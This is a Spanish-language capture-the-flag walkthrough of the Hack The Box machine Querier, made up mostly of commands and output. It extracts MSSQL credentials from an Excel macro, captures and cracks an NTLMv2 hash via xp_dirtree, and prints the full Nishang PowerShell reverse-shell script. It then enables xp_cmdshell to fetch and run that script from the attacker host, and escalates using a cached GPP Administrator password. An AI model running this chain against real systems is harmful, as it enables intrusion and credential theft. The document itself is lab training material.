Entrada

Querier

Querier

Skills

  • Macro Inspection (Olevba)
  • MSSQL Hash Stealing [Net-NTLMv2] (xp_dirtree)
  • Abusing MSSQL (xp_cmdshell)
  • Cached GPP Files (Privilege Escalation)

Certificaciones

  • OSCP
  • OSEP
  • eCPPTv3

Descripción

Querier es una máquina medium windows, tiene una hoja de cálculo de Excel en un recurso compartido por SMB. La hoja de cálculo contiene macros que se conectan a un servidor MSSQL que se ejecuta en la máquina. Se puede utilizar el servidor SQL para solicitar un archivo a través del cual se pueden obtener hashes NTLMV2 para crackearlos. Después de acceder a la máquina víctima, se puede usar PowerUp para encontrar las credenciales de Administrador en un archivo de política de grupo almacenado en caché localmente


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas windows suele ser 128, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
# ping 10.129.255.12
PING 10.129.255.12 (10.129.255.12) 56(84) bytes of data.
64 bytes from 10.129.255.12: icmp_seq=1 ttl=127 time=64.8 ms
64 bytes from 10.129.255.12: icmp_seq=2 ttl=127 time=56.4 ms
^C
--- 10.129.255.12 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 56.412/60.627/64.842/4.215 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.255.12 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 20:09 CEST
Initiating SYN Stealth Scan at 20:09
Scanning 10.129.255.12 [65535 ports]
Discovered open port 135/tcp on 10.129.255.12
Discovered open port 139/tcp on 10.129.255.12
Discovered open port 445/tcp on 10.129.255.12
Discovered open port 49671/tcp on 10.129.255.12
Discovered open port 49667/tcp on 10.129.255.12
Discovered open port 49665/tcp on 10.129.255.12
Discovered open port 49668/tcp on 10.129.255.12
Discovered open port 47001/tcp on 10.129.255.12
Discovered open port 49669/tcp on 10.129.255.12
Discovered open port 49670/tcp on 10.129.255.12
Discovered open port 49666/tcp on 10.129.255.12
Discovered open port 49664/tcp on 10.129.255.12
Discovered open port 1433/tcp on 10.129.255.12
Discovered open port 5985/tcp on 10.129.255.12
Completed SYN Stealth Scan at 20:09, 15.19s elapsed (65535 total ports)
Nmap scan report for 10.129.255.12
Host is up (0.091s latency).
Not shown: 65511 closed tcp ports (reset), 10 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.28 seconds
           Raw packets sent: 75663 (3.329MB) | Rcvd: 68702 (2.748MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# nmap -sCV -p 135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 10.129.255.12 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 20:17 CEST
Nmap scan report for 10.129.255.12
Host is up (0.15s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-08-23T18:06:45
|_Not valid after:  2054-08-23T18:06:45
| ms-sql-info: 
|   10.129.255.12:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.129.255.12:1433: 
|     Target_Name: HTB
|     NetBIOS_Domain_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Domain_Name: HTB.LOCAL
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|     DNS_Tree_Name: HTB.LOCAL
|_    Product_Version: 10.0.17763
|_ssl-date: 2024-08-23T18:18:21+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-08-23T18:18:13
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.98 seconds

SMB Enumeration

Enumeramos recursos compartidos por smb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# smbmap -H 10.129.255.12 -u 'guest'    

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.129.255.12:445	Name: querier.htb.local   	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	Reports                                           	READ ONLY	
[*] Closed 1 connections

Añadimos dominio y subdominio al /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.255.12   querier.htb.local htb.local

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Listamos el contenido

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# smbmap --no-banner -H 10.129.255.12 -u 'guest' -r Reports 
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.129.255.12:445	Name: querier.htb.local   	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	Reports                                           	READ ONLY	
	./Reports
	dr--r--r--                0 Tue Jan 29 00:26:31 2019	.
	dr--r--r--                0 Tue Jan 29 00:26:31 2019	..
	fr--r--r--            12229 Tue Jan 29 00:26:31 2019	Currency Volume Report.xlsm
[*] Closed 1 connections             

Descargamos el archivo

1
2
3
4
5
6
# smbmap --no-banner -H 10.129.255.12 -u 'guest' -r Reports --download "Reports/Currency Volume Report.xlsm"     
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
[+] Starting download: Reports\Currency Volume Report.xlsm (12229 bytes)                                                 
[+] File output to: /home/justice-reaper/Desktop/Querier/content/10.129.255.12-Reports_Currency Volume Report.xlsm       
[*] Closed 1 connections                      

Al abrirnos el archivo con libreoffice nos muestra que tiene macros

Nos instalamos python-oletools https://gitlab.com/kalilinux/packages/python-oletools

1
# sudo -H pip install -U oletools

Listamos información del documento ofimático y obtenemos las credenciales reporting:PcwTWTHRwryjc$c6 para la base de datos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# olevba Currency_Volume_Report.xlsm 
olevba 0.60.2 on Python 3.11.9 - http://decalage.info/python/oletools
===============================================================================
FILE: Currency_Volume_Report.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"
 
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open                |May open a file                              |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

Validamos la credencial a nivel de WORKGROUP, es decir, que no son credenciales del dominio válidas, pero si son credenciales del equipo local válidas

1
2
3
# netexec smb 10.129.255.12 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKGROUP
SMB         10.129.255.12   445    QUERIER          [*] Windows 10 / Server 2019 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
SMB         10.129.255.12   445    QUERIER          [+] WORKGROUP\reporting:PcwTWTHRwryjc$c6 

MSSQL Enumeration

Nos conectamos al servicio MSSQL con las credenciales reporting:PcwTWTHRwryjc$c6

1
2
3
4
5
6
7
8
9
10
11
12
13
# mssqlclient.py WORKGROUP/reporting@10.129.255.12 -windows-auth                 
Impacket v0.12.0.dev1+20240816.161125.5d881ece - Copyright 2023 Fortra

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL (QUERIER\reporting  reporting@volume)> 

MSSQL Exploitation

Nos creamos un servidor smb

1
# impacket-smbserver smbFolder $(pwd) -smb2support

Hacemos una petición a un recurso de nuestra máquina

1
2
3
SQL (QUERIER\reporting  reporting@volume)> xp_dirtree \\10.10.16.23\smbFolder\test
subdirectory   depth   file   
------------   -----   ---- 

Obtenemos el hash NTLMV2 del usuario mssql-svc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.12.0.dev1+20240816.161125.5d881ece - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
08/24/2024 02:26:24 PM: INFO: Config file parsed
08/24/2024 02:26:27 PM: INFO: Incoming connection (10.129.255.12,49676)
08/24/2024 02:26:27 PM: INFO: AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
08/24/2024 02:26:27 PM: INFO: User QUERIER\mssql-svc authenticated successfully
08/24/2024 02:26:27 PM: INFO: mssql-svc::QUERIER:aaaaaaaaaaaaaaaa:6f7d92da5c497d4dc478f2d9820a5467:0101000000000000809b28d720f6da01714567ea86b566a700000000010010005400710052004700540069006a004500030010005400710052004700540069006a0045000200100077007a006e0064006d006200410051000400100077007a006e0064006d0062004100510007000800809b28d720f6da01060004000200000008003000300000000000000000000000003000008cb280c24fe8618b3d55ffd1d66821547a1a40f659307e2a2169e553d92b53100a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e0032003300000000000000000000000000
08/24/2024 02:26:27 PM: INFO: Connecting Share(1:smbFolder)
08/24/2024 02:26:27 PM: INFO: AUTHENTICATE_MESSAGE (\,QUERIER)
08/24/2024 02:26:27 PM: INFO: User QUERIER\ authenticated successfully
08/24/2024 02:26:27 PM: INFO: :::00::aaaaaaaaaaaaaaaa
08/24/2024 02:26:40 PM: INFO: Disconnecting Share(1:smbFolder)
08/24/2024 02:26:40 PM: INFO: Closing down connection (10.129.255.12,49676)
08/24/2024 02:26:40 PM: INFO: Remaining connections []

El hash NTLMV2 lo debemos meter en un archivo

1
mssql-svc::QUERIER:aaaaaaaaaaaaaaaa:6f7d92da5c497d4dc478f2d9820a5467:0101000000000000809b28d720f6da01714567ea86b566a700000000010010005400710052004700540069006a004500030010005400710052004700540069006a0045000200100077007a006e0064006d006200410051000400100077007a006e0064006d0062004100510007000800809b28d720f6da01060004000200000008003000300000000000000000000000003000008cb280c24fe8618b3d55ffd1d66821547a1a40f659307e2a2169e553d92b53100a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e0032003300000000000000000000000000

Crackeamos el hash con john y obtenemos unas credenciales válidas mssql-svc:corporate568

1
2
3
4
5
6
7
8
9
# john -w:rockyou.txt hash          
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568     (mssql-svc)     
1g 0:00:00:03 DONE (2024-08-24 14:30) 0.2610g/s 2339Kp/s 2339Kc/s 2339KC/s correforenz..coreyny11
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Nos descargamos https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1, una vez descargado el script vamos a copiar Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 que encontramos en la parte de .EXAMPLE al final del script con la dirección IP de nuestra máquina y con el puerto por el que nos mandará la conexión

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.23 -Port 4444

En el mismo directorio donde se encuentra el binario nos montamos un servidor http con python

1
# python -m http.server 80

Nos ponemos en escucha con netcat

1
# nc -nlvp 4444

Nos conectamos al servicio MSSQL

1
2
3
4
5
6
7
8
9
10
11
12
# mssqlclient.py WORKGROUP/mssql-svc@10.129.255.12 -windows-auth 
Impacket v0.12.0.dev1+20240816.161125.5d881ece - Copyright 2023 Fortra

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands

Activamos la ejecución de comandos

1
2
3
SQL (QUERIER\mssql-svc  dbo@master)> EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.

Ejecutamos el binario .ps1

1
SQL (QUERIER\mssql-svc  dbo@master)> EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.16.23/Invoke-PowerShellTcp.ps1") | powershell -noprofile'

Ganamos acceso a la máquina víctima

1
2
3
4
5
6
7
8
# rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.23] from (UNKNOWN) [10.129.255.12] 49678
Windows PowerShell running as user mssql-svc on QUERIER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
querier\mssql-svc

Privilege Escalation

Nos descargamos https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 y abrimos el archivo con un editor de código, en nano pulsando CTRL + V nos lleva a la última línea, una vez ahí añadimos Invoke-AllChecks. Una vez hecho esto nos creamos un servidor http con python en la misma ruta donde se encuentra PowerUp.ps1

1
# pyhton -m http.server 80

Desde la máquina víctima nos descargamos y ejecutamos el script PowerUp.ps1

1
PS C:\Windows\Temp\Privesc> IEX(New-Object Net.WebClient).DownloadString("http://10.10.16.23/Invoke-PowerShellTcp.ps1")

Nos ha encontrado una credencial del usuario Administrator en C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml

1
2
3
4
5
6
7
Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group 
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check     : Cached GPP Files

Nos conectamos como el usuario Administrator a la máquina víctima

1
2
3
4
5
6
7
8
9
10
11
# evil-winrm -i 10.129.255.12 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
querier\administrator
Esta entrada está licenciada bajo CC BY 4.0 por el autor.